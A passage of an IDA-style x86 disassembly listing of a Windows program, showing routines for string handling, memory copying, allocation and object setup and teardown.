		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409600	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4097D0	proc near		; CODE XREF: sub_40170Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_4097F0


loc_4097E1:				; CODE XREF: sub_4097D0+1Ej
		push	esi
		mov	ecx, edi
		call	sub_402072
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_4097E1


loc_4097F0:				; CODE XREF: sub_4097D0+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4097D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_409810	proc near		; CODE XREF: sub_401294j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_409810	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409830	proc near		; CODE XREF: sub_402072j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_7
		pop	ecx
		retn	4
sub_409830	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409850	proc near		; CODE XREF: sub_4016D6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_409882
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_409866:				; CODE XREF: sub_409850+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_4015AA
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_409866
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409882:				; CODE XREF: sub_409850+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_409850	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4098A0	proc near		; CODE XREF: sub_401177j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_4098C7
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_4098B6:				; CODE XREF: sub_4098A0+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_4015AA
		add	esi, 4
		dec	edi
		jnz	short loc_4098B6
		pop	esi
		pop	ebx


loc_4098C7:				; CODE XREF: sub_4098A0+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_4098A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4098E0	proc near		; CODE XREF: sub_401CADj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_40203B
sub_4098E0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409910	proc near		; CODE XREF: sub_4015AAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401145
		add	esp, 8
		retn	8
sub_409910	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409940	proc near		; CODE XREF: sub_401F96j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40995D
		mov	edx, [esp+arg_8]
		push	esi


loc_409951:				; CODE XREF: sub_409940+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_409951
		pop	esi

locret_40995D:				; CODE XREF: sub_409940+Aj
		retn
sub_409940	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409970	proc near		; CODE XREF: sub_401CCBj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_409992
		mov	eax, [esp+arg_8]
		push	esi


loc_409981:				; CODE XREF: sub_409970+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_409981
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_409992:				; CODE XREF: sub_409970+Aj
		mov	eax, [esp+arg_8]
		retn
sub_409970	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_7. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4099D0	proc near		; CODE XREF: sub_40203Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_4099DA
		xor	eax, eax


loc_4099DA:				; CODE XREF: sub_4099D0+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_4099D0	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A00	proc near		; CODE XREF: sub_401145j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_409A1B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_409A1B:				; CODE XREF: sub_409A00+11j
		retn
sub_409A00	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409A30	proc near		; CODE XREF: sub_401979j

arg_0		= dword	ptr  4

		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409A66
		push	edi
		call	near ptr 2811729h
		nop
		mov	edi, dword_50F8C4
		push	0FFFFFFF5h
		call	edi
		push	0FFFFFFF4h
		mov	[esi], eax
		call	edi
		mov	[esi+4], eax
		mov	eax, [esp+8+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], eax
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409A66:				; CODE XREF: sub_409A30+Aj
		mov	ecx, [esp+4+arg_0]
		mov	byte ptr [esi+8], 1
		mov	[esi+9], ecx
		pop	esi
		retn	4
sub_409A30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AA0	proc near		; CODE XREF: sub_401CDAj
		mov	al, byte_44718A
		push	esi
		test	al, al
		mov	esi, ecx
		jz	short loc_409ABF
		nop
		call	near ptr 2811B29h
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	dword ptr [esi+4], 0FFFFFFFFh


loc_409ABF:				; CODE XREF: sub_409AA0+Aj
		mov	byte ptr [esi+8], 0
		pop	esi
		retn
sub_409AA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409AE0	proc near		; CODE XREF: sub_401424j
		mov	eax, ecx
		xor	ecx, ecx
		mov	dword ptr [eax], offset	off_43E010
		mov	[eax+9], ecx
		mov	[eax+11h], ecx
		mov	[eax+4], cl
		mov	[eax+0Dh], ecx
		retn
sub_409AE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409B10:				; CODE XREF: ___:00402063j
					; ___:loc_402171j
		push	esi
		mov	esi, ecx
		call	sub_401226
		test	byte ptr [esp+8], 1
		jz	short loc_409B28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409B28:				; CODE XREF: ___:00409B1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B40	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B40	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409B80	proc near		; CODE XREF: sub_4014C9j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	esi, ecx
		xor	ebx, ebx
		push	eax
		mov	dword ptr [esi], offset	off_43E010
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_401FBE
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_409B80	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409BC0	proc near		; CODE XREF: sub_4020F4j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+1Ch+var_10]
		push	offset dword_4437F4
		push	ecx
		mov	dword ptr [esi], offset	off_43E010
		nop
		call	sub_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+18h+var_10]
		xor	ebx, ebx
		mov	ecx, esi
		push	edx
		mov	[esi+9], ebx
		mov	[esi+11h], ebx
		call	sub_4015D7
		mov	[esi+4], bl
		mov	[esi+0Dh], ebx
		mov	eax, esi
		pop	esi
		pop	ebx
		add	esp, 10h
		retn	4
sub_409BC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C30	proc near		; CODE XREF: sub_401226j
		push	esi
		mov	esi, ecx
		push	edi
		xor	edi, edi
		mov	eax, [esi+9]
		mov	dword ptr [esi], offset	off_43E010
		cmp	eax, edi
		jz	short loc_409C4C
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C4C:				; CODE XREF: sub_409C30+11j
		mov	eax, [esi+0Dh]
		mov	[esi+9], edi
		cmp	eax, edi
		jz	short loc_409C5F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409C5F:				; CODE XREF: sub_409C30+24j
		mov	[esi+0Dh], edi
		mov	[esi+11h], edi
		pop	edi
		pop	esi
		retn
sub_409C30	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409C80	proc near		; CODE XREF: sub_4015D7j

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	esi, ecx
		test	edi, edi
		jz	short loc_409CEA
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [esi+9]
		not	ecx
		dec	ecx
		test	eax, eax
		mov	ebp, ecx
		jz	short loc_409CAA
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409CAA:				; CODE XREF: sub_409C80+1Fj
		lea	ebx, [ebp+2]
		push	ebx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		db 8Bh
		dd 4C483F8h, 7E89FF85h,	8B2B7409h, 8BC033CBh, 116E89D1h
		dd 0F302E9C1h, 83CA8BABh, 0AAF303E1h, 8B11468Bh, 8B14244Ch
		dd 51500956h, 0A9E89052h, 837783DDh
		db 0C4h, 0Ch
; ---------------------------------------------------------------------------


loc_409CEA:				; CODE XREF: sub_409C80+Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409D20	proc near		; CODE XREF: sub_401FBEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_409D20	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_409D50:				; CODE XREF: ___:00401A46j
		mov	eax, [esp+4]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+8]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+4]
		mov	ecx, esi
		push	edx
		call	sub_4015D7
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409DA0	proc near		; CODE XREF: sub_401A9Bj

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		mov	ebx, ecx
		test	edi, edi
		jz	loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [ebx+11h]
		not	ecx
		dec	ecx
		mov	esi, ecx
		add	esi, edi
		lea	eax, [esi+1]
		push	eax
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+9]
		add	esp, 4
		test	edi, edi
		mov	ebp, eax
		jz	short loc_409E32
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+11h], esi
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	edi, [esp+10h+arg_0]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	esi, edi
		mov	edx, ecx
		mov	edi, ebp
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, edx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	eax, [ebx+9]
		test	eax, eax
		jz	short loc_409E2F
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_409E2F:				; CODE XREF: sub_409DA0+84j
		mov	[ebx+9], ebp


loc_409E32:				; CODE XREF: sub_409DA0+Cj
					; sub_409DA0+36j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	4
sub_409DA0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409E70	proc near		; CODE XREF: sub_4016BDj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_401A9B
		pop	esi
		retn	4
sub_409E70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EA0	proc near		; CODE XREF: sub_401140j

var_10		= byte ptr -10h
arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	esp, 10h
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+18h+var_10]
		push	offset dword_4437F4
		push	ecx
		nop
		call	sub_5EA1BD
		add	esp, 0Ch
		lea	edx, [esp+14h+var_10]
		mov	ecx, esi
		push	edx
		call	sub_401A9B
		pop	esi
		add	esp, 10h
		retn	4
sub_409EA0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409EF0	proc near		; CODE XREF: sub_4012EEj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_409F07
		mov	edx, [ecx+9]
		xor	eax, eax
		test	edx, edx
		setnz	al
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F07:				; CODE XREF: sub_409EF0+7j
		mov	eax, [ecx+9]
		push	ebx


loc_409F0B:				; CODE XREF: sub_409EF0+3Dj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		test	cl, cl
		jz	short loc_409F2F
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_409F36
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_409F0B


loc_409F2F:				; CODE XREF: sub_409EF0+27j
		pop	ebx
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_409F36:				; CODE XREF: sub_409EF0+23j
					; sub_409EF0+33j
		sbb	eax, eax
		pop	ebx
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn	4
sub_409EF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F60	proc near		; CODE XREF: sub_401B72j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409F60	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409F90	proc near		; CODE XREF: sub_401500j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_409FA3
		mov	edx, [ecx+9]
		test	edx, edx
		setnz	al
		retn	4
; ---------------------------------------------------------------------------


loc_409FA3:				; CODE XREF: sub_409F90+6j
		push	eax
		mov	eax, [ecx+9]
		push	eax
		nop
		call	near ptr 77C4624Eh
		add	esp, 8
		retn	4
sub_409F90	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_409FD0	proc near		; CODE XREF: sub_4021ADj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4012EE
		pop	esi
		retn	4
sub_409FD0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A000	proc near		; CODE XREF: sub_401CBCj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9]
		test	eax, eax
		jz	short loc_40A013
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A013:				; CODE XREF: sub_40A000+8j
		mov	dword ptr [esi+9], 0
		pop	esi
		retn
sub_40A000	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A030	proc near		; CODE XREF: sub_40102Dj

arg_2000	= dword	ptr  2004h
arg_2004	= dword	ptr  2008h
arg_2008	= byte ptr  200Ch

		mov	eax, 2000h
		call	sub_436840
		mov	eax, [esp+arg_2004]
		test	eax, eax
		jz	short loc_40A072
		lea	ecx, [esp+arg_2008]
		lea	edx, [esp+0]
		push	ecx
		push	eax
		push	2000h
		push	edx
		nop
		call	near ptr 77C3FF8Ah
		mov	ecx, [esp+10h+arg_2000]
		add	esp, 10h
		lea	eax, [esp+0]
		push	eax
		call	sub_4015D7


loc_40A072:				; CODE XREF: sub_40A030+13j
		add	esp, 2000h
		retn
sub_40A030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0A0	proc near		; CODE XREF: sub_401D20j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401316
		retn	4
sub_40A0A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A0C0	proc near		; CODE XREF: sub_401316j

arg_0		= byte ptr  4

		push	ebx
		mov	ebx, dword_50FAE0
		push	esi
		push	edi
		movsx	edi, [esp+0Ch+arg_0]
		mov	esi, ecx
		push	edi
		mov	eax, [esi+9]
		push	eax
		call	ebx	; strchr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A0E4
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A0E4:				; CODE XREF: sub_40A0C0+1Cj
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strchr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A0C0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A110	proc near		; CODE XREF: sub_4018A2j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401807
		retn	4
sub_40A110	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A130	proc near		; CODE XREF: sub_401807j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_402117
		pop	esi
		retn	8
sub_40A130	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A160	proc near		; CODE XREF: sub_4013E3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_402117
		retn	4
sub_40A160	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A180	proc near		; CODE XREF: sub_402117j

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		test	edi, edi
		mov	esi, ecx
		jnz	short loc_40A195
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A195:				; CODE XREF: sub_40A180+Bj
		mov	eax, [esi+9]
		mov	ebx, dword_50FAF8
		push	edi
		push	eax
		call	ebx	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_40A1AF
		pop	edi
		pop	esi
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_40A1AF:				; CODE XREF: sub_40A180+27j
		mov	ecx, [esi+9]
		push	edi
		push	ecx
		call	ebx	; strstr
		mov	edi, [esi+9]
		add	esp, 8
		mov	edx, 1
		sub	edx, edi
		pop	edi
		pop	esi
		add	eax, edx
		pop	ebx
		retn	8
sub_40A180	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A1F0	proc near		; CODE XREF: sub_401C5Dj

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		test	edi, edi
		jnz	short loc_40A203
		pop	edi
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_40A203:				; CODE XREF: sub_40A1F0+Aj
		mov	eax, [esi+9]
		mov	[esi+11h], edi
		test	eax, eax
		jz	short loc_40A216
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40A216:				; CODE XREF: sub_40A1F0+1Bj
		push	ebx
		lea	ebx, [edi+1]
		push	ebx
		call	sub_4367FA
sub_40A1F0	endp

; ---------------------------------------------------------------------------
		mov	ecx, ebx
		mov	edi, eax
		mov	edx, ecx
		xor	eax, eax
		shr	ecx, 2
		mov	[esi+9], edi
		add	esp, 4
		rep stosd
		mov	ecx, edx
		pop	ebx
		and	ecx, 3
		rep stosb
		mov	eax, [esi+9]
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A270	proc near		; CODE XREF: sub_4013D9j
		mov	eax, [ecx+11h]
		retn
sub_40A270	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A290	proc near		; CODE XREF: sub_4012B2j

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

		push	0FFFFFFFFh
		push	offset SEH_40A290
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebp
		mov	ebp, [esp+30h+arg_8]
		push	esi
		xor	esi, esi
		cmp	ebp, 1
		mov	[esp+34h+var_2C], ecx
		mov	[esp+34h+var_28], esi
		jge	short loc_40A2E2
		mov	esi, [esp+34h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ebp
		mov	ecx, [esp+2Ch+var_C]
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40A2E2:				; CODE XREF: sub_40A290+2Bj
		push	ebx
		push	edi
		lea	ecx, [esp+3Ch+var_24]
		call	sub_401424
		mov	[esp+3Ch+var_4], esi
		lea	esi, [ebp+1]
		push	esi
		call	sub_4367FA
sub_40A290	endp

; ---------------------------------------------------------------------------
		mov	ecx, esi
		mov	ebx, eax
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		add	esp, 4
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		mov	edx, [esp+44h]
		and	ecx, 3
		push	ebx
		rep stosb
		mov	eax, [esp+14h]
		mov	ecx, ebp
		mov	edi, ebx
		mov	esi, [eax+9]
		add	esi, edx
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+1Ch]
		call	sub_4015D7
		push	ebx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		mov	esi, [esp+44h]
		add	esp, 4
		lea	eax, [esp+18h]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		lea	ecx, [esp+18h]
		call	sub_401226
		mov	ecx, [esp+30h]
		pop	edi
		mov	eax, esi
		pop	ebx
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn	0Ch
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A3C0	proc near		; CODE XREF: sub_401E2Ej

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	esi
		push	edi
		mov	esi, ecx
		mov	[esp+0Ch+var_4], 0
		call	sub_4013D9
		mov	ecx, [esp+0Ch+arg_4]
		mov	edi, [esp+0Ch+arg_0]
		sub	eax, ecx
		push	eax
		push	ecx
		push	edi
		mov	ecx, esi
		call	sub_4012B2
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ecx
		retn	8
sub_40A3C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A400:				; CODE XREF: ___:0040193Dj
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	1
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_4020F4
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A430	proc near		; CODE XREF: sub_4011EAj

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
